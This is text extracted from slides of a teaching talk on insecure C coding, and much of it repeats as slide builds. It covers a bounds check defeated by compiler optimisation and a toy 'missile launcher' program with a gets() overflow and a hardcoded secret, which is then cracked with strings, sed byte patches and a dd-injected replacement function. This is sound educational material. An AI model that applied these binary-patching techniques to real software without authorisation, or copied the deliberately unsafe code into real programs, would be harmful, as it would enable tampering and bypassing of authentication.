$ cc -m32 -O2 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffcptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
![Page 220: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/220.jpg)
$ cc -m32 -O2 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffcptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Perhaps a bit surprising?
![Page 221: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/221.jpg)
$ cc -m32 -O2 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffcptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Perhaps a bit surprising?
Inconceivable!
![Page 222: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/222.jpg)
$ cc -m32 -O2 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffcptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Perhaps a bit surprising?
Inconceivable!
Now we have a function that was supposed to be safe, but due to new optimization rules it turned into a general purpose function for poking data into memory.
![Page 223: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/223.jpg)
more stuff...
![Page 224: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/224.jpg)
![Page 225: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/225.jpg)
Let us revisit our initial program.
![Page 226: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/226.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Let us revisit our initial program.
![Page 227: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/227.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
You might try to fix this program by replacing gets() with fgets() and add all the security
flags to the compiler and enable all protection mechanisms in the operating system.
Let us revisit our initial program.
![Page 228: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/228.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
You might try to fix this program by replacing gets() with fgets() and add all the security
flags to the compiler and enable all protection mechanisms in the operating system.
But do not forget about the simplest ways to hack into this program if you have access to
the executable binary.
Let us revisit our initial program.
![Page 229: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/229.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
You might try to fix this program by replacing gets() with fgets() and add all the security
flags to the compiler and enable all protection mechanisms in the operating system.
But do not forget about the simplest ways to hack into this program if you have access to
the executable binary.
$ strings ./launch...Launching %d missilesSecret: JoshuaAccess grantedAccess deniedWarGames MissileLauncher v0.1Operation complete...$ echo "Joshua" | ./launchWarGames MissileLauncher v0.1Secret: Access grantedLaunching 2 missilesOperation complete$
Let us revisit our initial program.
![Page 230: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/230.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
![Page 231: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/231.jpg)
If you disassemble the file you can easily find the n_missiles and allowaccess variable.
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
![Page 232: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/232.jpg)
If you disassemble the file you can easily find the n_missiles and allowaccess variable.
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
And then just change the initialization of these variables.
![Page 233: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/233.jpg)
If you disassemble the file you can easily find the n_missiles and allowaccess variable.
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
$ objdump -M intel -d ./launch
...<authenticate_and_launch>:55 push ebp89 e5 mov ebp,esp83 ec 38 sub esp,0x3865 a1 14 00 00 00 mov eax,gs:0x1489 45 f4 mov DWORD PTR [ebp-0xc],eax31 c0 xor eax,eaxc7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0...
$ cp ./launch ./launch_mod$ sed -i "s/\xc7\x45\xe8\x02/\xc7\x45\xe8\x2a/" ./launch_mod$ sed -i "s/\xc6\x45\xe7\x00/\xc6\x45\xe7\x01/" ./launch_mod$ ./launch_modWarGames MissileLauncher v0.1Secret: FooAccess grantedLaunching 42 missilesOperation complete$
And then just change the initialization of these variables.
![Page 234: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/234.jpg)
If you disassemble the file you can easily find the n_missiles and allowaccess variable.
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
$ objdump -M intel -d ./launch
...<authenticate_and_launch>:55 push ebp89 e5 mov ebp,esp83 ec 38 sub esp,0x3865 a1 14 00 00 00 mov eax,gs:0x1489 45 f4 mov DWORD PTR [ebp-0xc],eax31 c0 xor eax,eaxc7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0...
$ cp ./launch ./launch_mod$ sed -i "s/\xc7\x45\xe8\x02/\xc7\x45\xe8\x2a/" ./launch_mod$ sed -i "s/\xc6\x45\xe7\x00/\xc6\x45\xe7\x01/" ./launch_mod$ ./launch_modWarGames MissileLauncher v0.1Secret: FooAccess grantedLaunching 42 missilesOperation complete$
And then just change the initialization of these variables.
![Page 235: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/235.jpg)
If you disassemble the file you can easily find the n_missiles and allowaccess variable.
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
$ objdump -M intel -d ./launch
...<authenticate_and_launch>:55 push ebp89 e5 mov ebp,esp83 ec 38 sub esp,0x3865 a1 14 00 00 00 mov eax,gs:0x1489 45 f4 mov DWORD PTR [ebp-0xc],eax31 c0 xor eax,eaxc7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0...
$ cp ./launch ./launch_mod$ sed -i "s/\xc7\x45\xe8\x02/\xc7\x45\xe8\x2a/" ./launch_mod$ sed -i "s/\xc6\x45\xe7\x00/\xc6\x45\xe7\x01/" ./launch_mod$ ./launch_modWarGames MissileLauncher v0.1Secret: FooAccess grantedLaunching 42 missilesOperation complete$
And then just change the initialization of these variables.
![Page 236: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/236.jpg)
If you disassemble the file you can easily find the n_missiles and allowaccess variable.
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
$ objdump -M intel -d ./launch
...<authenticate_and_launch>:55 push ebp89 e5 mov ebp,esp83 ec 38 sub esp,0x3865 a1 14 00 00 00 mov eax,gs:0x1489 45 f4 mov DWORD PTR [ebp-0xc],eax31 c0 xor eax,eaxc7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0...
$ cp ./launch ./launch_mod$ sed -i "s/\xc7\x45\xe8\x02/\xc7\x45\xe8\x2a/" ./launch_mod$ sed -i "s/\xc6\x45\xe7\x00/\xc6\x45\xe7\x01/" ./launch_mod$ ./launch_modWarGames MissileLauncher v0.1Secret: FooAccess grantedLaunching 42 missilesOperation complete$
And then just change the initialization of these variables.
![Page 237: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/237.jpg)
If you disassemble the file you can easily find the n_missiles and allowaccess variable.
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
$ objdump -M intel -d ./launch
...<authenticate_and_launch>:55 push ebp89 e5 mov ebp,esp83 ec 38 sub esp,0x3865 a1 14 00 00 00 mov eax,gs:0x1489 45 f4 mov DWORD PTR [ebp-0xc],eax31 c0 xor eax,eaxc7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0...
$ cp ./launch ./launch_mod$ sed -i "s/\xc7\x45\xe8\x02/\xc7\x45\xe8\x2a/" ./launch_mod$ sed -i "s/\xc6\x45\xe7\x00/\xc6\x45\xe7\x01/" ./launch_mod$ ./launch_modWarGames MissileLauncher v0.1Secret: FooAccess grantedLaunching 42 missilesOperation complete$
And then just change the initialization of these variables.
![Page 238: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/238.jpg)
If you disassemble the file you can easily find the n_missiles and allowaccess variable.
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
$ objdump -M intel -d ./launch
...<authenticate_and_launch>:55 push ebp89 e5 mov ebp,esp83 ec 38 sub esp,0x3865 a1 14 00 00 00 mov eax,gs:0x1489 45 f4 mov DWORD PTR [ebp-0xc],eax31 c0 xor eax,eaxc7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0...
$ cp ./launch ./launch_mod$ sed -i "s/\xc7\x45\xe8\x02/\xc7\x45\xe8\x2a/" ./launch_mod$ sed -i "s/\xc6\x45\xe7\x00/\xc6\x45\xe7\x01/" ./launch_mod$ ./launch_modWarGames MissileLauncher v0.1Secret: FooAccess grantedLaunching 42 missilesOperation complete$
And then just change the initialization of these variables.
![Page 239: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/239.jpg)
If you disassemble the file you can easily find the n_missiles and allowaccess variable.
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
$ objdump -M intel -d ./launch
...<authenticate_and_launch>:55 push ebp89 e5 mov ebp,esp83 ec 38 sub esp,0x3865 a1 14 00 00 00 mov eax,gs:0x1489 45 f4 mov DWORD PTR [ebp-0xc],eax31 c0 xor eax,eaxc7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0...
$ cp ./launch ./launch_mod$ sed -i "s/\xc7\x45\xe8\x02/\xc7\x45\xe8\x2a/" ./launch_mod$ sed -i "s/\xc6\x45\xe7\x00/\xc6\x45\xe7\x01/" ./launch_mod$ ./launch_modWarGames MissileLauncher v0.1Secret: FooAccess grantedLaunching 42 missilesOperation complete$
And then just change the initialization of these variables.
![Page 240: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/240.jpg)
If you disassemble the file you can easily find the n_missiles and allowaccess variable.
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
$ objdump -M intel -d ./launch
...<authenticate_and_launch>:55 push ebp89 e5 mov ebp,esp83 ec 38 sub esp,0x3865 a1 14 00 00 00 mov eax,gs:0x1489 45 f4 mov DWORD PTR [ebp-0xc],eax31 c0 xor eax,eaxc7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0...
$ cp ./launch ./launch_mod$ sed -i "s/\xc7\x45\xe8\x02/\xc7\x45\xe8\x2a/" ./launch_mod$ sed -i "s/\xc6\x45\xe7\x00/\xc6\x45\xe7\x01/" ./launch_mod$ ./launch_modWarGames MissileLauncher v0.1Secret: FooAccess grantedLaunching 42 missilesOperation complete$
And then just change the initialization of these variables.
![Page 241: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/241.jpg)
If you disassemble the file you can easily find the n_missiles and allowaccess variable.
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
$ objdump -M intel -d ./launch
...<authenticate_and_launch>:55 push ebp89 e5 mov ebp,esp83 ec 38 sub esp,0x3865 a1 14 00 00 00 mov eax,gs:0x1489 45 f4 mov DWORD PTR [ebp-0xc],eax31 c0 xor eax,eaxc7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0...
$ cp ./launch ./launch_mod$ sed -i "s/\xc7\x45\xe8\x02/\xc7\x45\xe8\x2a/" ./launch_mod$ sed -i "s/\xc6\x45\xe7\x00/\xc6\x45\xe7\x01/" ./launch_mod$ ./launch_modWarGames MissileLauncher v0.1Secret: FooAccess grantedLaunching 42 missilesOperation complete$
And then just change the initialization of these variables.
![Page 242: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/242.jpg)
![Page 243: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/243.jpg)
void my_authenticate_and_launch(void){ char str[] = "David rocks!"; puts(str); launch_missiles(1983);}
![Page 244: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/244.jpg)
void my_authenticate_and_launch(void){ char str[] = "David rocks!"; puts(str); launch_missiles(1983);}
![Page 245: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/245.jpg)
void my_authenticate_and_launch(void){ char str[] = "David rocks!"; puts(str); launch_missiles(1983);}
55 push ebp89 e5 mov ebp,esp83 ec 28 sub esp,0x28c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x08d 45 eb lea eax,[ebp-0x15]89 04 24 mov DWORD PTR [esp],eaxe8 8e fe ff ff call 80483d0 <puts@plt>c7 04 24 bf 07 00 00 mov DWORD PTR [esp],0x7bfe8 af ff ff ff call 80484fd <launch_missiles>c9 leave c3 ret
![Page 246: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/246.jpg)
void my_authenticate_and_launch(void){ char str[] = "David rocks!"; puts(str); launch_missiles(1983);}
55 push ebp89 e5 mov ebp,esp83 ec 28 sub esp,0x28c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x08d 45 eb lea eax,[ebp-0x15]89 04 24 mov DWORD PTR [esp],eaxe8 8e fe ff ff call 80483d0 <puts@plt>c7 04 24 bf 07 00 00 mov DWORD PTR [esp],0x7bfe8 af ff ff ff call 80484fd <launch_missiles>c9 leave c3 ret
![Page 247: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/247.jpg)
void my_authenticate_and_launch(void){ char str[] = "David rocks!"; puts(str); launch_missiles(1983);}
55 push ebp89 e5 mov ebp,esp83 ec 28 sub esp,0x28c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x08d 45 eb lea eax,[ebp-0x15]89 04 24 mov DWORD PTR [esp],eaxe8 8e fe ff ff call 80483d0 <puts@plt>c7 04 24 bf 07 00 00 mov DWORD PTR [esp],0x7bfe8 af ff ff ff call 80484fd <launch_missiles>c9 leave c3 ret
$ cp launch launch_mod$ printf "\x55\x89\xe5\x83\xec\x28\xc7\x45\xeb\x44\x61\x76\x69\xc7\x45\xef\x64\x20\x72\x6f\xc7\x45\xf3\x63\x6b\x73\x21\xc6\x45\xf7\x00\x8d\x45\xeb\x89\x04\x24\xe8\x8e\xfe\xff\xff\xc7\x04\x24\xbf\x07\x00\x00\xe8\xaf\xff\xff\xff\xc9\xc3" | dd conv=notrunc of=launch_mod bs=1 seek=$((0x518))$ ./launch_modWarGames MissileLauncher v0.1David rocks!Launching 1983 missilesOperation complete$
![Page 248: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/248.jpg)
void my_authenticate_and_launch(void){ char str[] = "David rocks!"; puts(str); launch_missiles(1983);}
And finally, if you are not happy with the functionality, you can
always just replace some of the code in the program. In this case I wrote a my own authenticate and launch function. Then compiled it locally on my machine. I did an
objdump of my new function, and compared it with an objdump of the old function. Then it was easy to craft a patch needed to replace
the original function with my own, and viola!
55 push ebp89 e5 mov ebp,esp83 ec 28 sub esp,0x28c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x08d 45 eb lea eax,[ebp-0x15]89 04 24 mov DWORD PTR [esp],eaxe8 8e fe ff ff call 80483d0 <puts@plt>c7 04 24 bf 07 00 00 mov DWORD PTR [esp],0x7bfe8 af ff ff ff call 80484fd <launch_missiles>c9 leave c3 ret
$ cp launch launch_mod$ printf "\x55\x89\xe5\x83\xec\x28\xc7\x45\xeb\x44\x61\x76\x69\xc7\x45\xef\x64\x20\x72\x6f\xc7\x45\xf3\x63\x6b\x73\x21\xc6\x45\xf7\x00\x8d\x45\xeb\x89\x04\x24\xe8\x8e\xfe\xff\xff\xc7\x04\x24\xbf\x07\x00\x00\xe8\xaf\xff\xff\xff\xc9\xc3" | dd conv=notrunc of=launch_mod bs=1 seek=$((0x518))$ ./launch_modWarGames MissileLauncher v0.1David rocks!Launching 1983 missilesOperation complete$
![Page 249: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/249.jpg)
Some tricks for insecure coding in C and C++
![Page 250: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/250.jpg)
c = a() + b();
![Page 251: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/251.jpg)
c = a() + b();
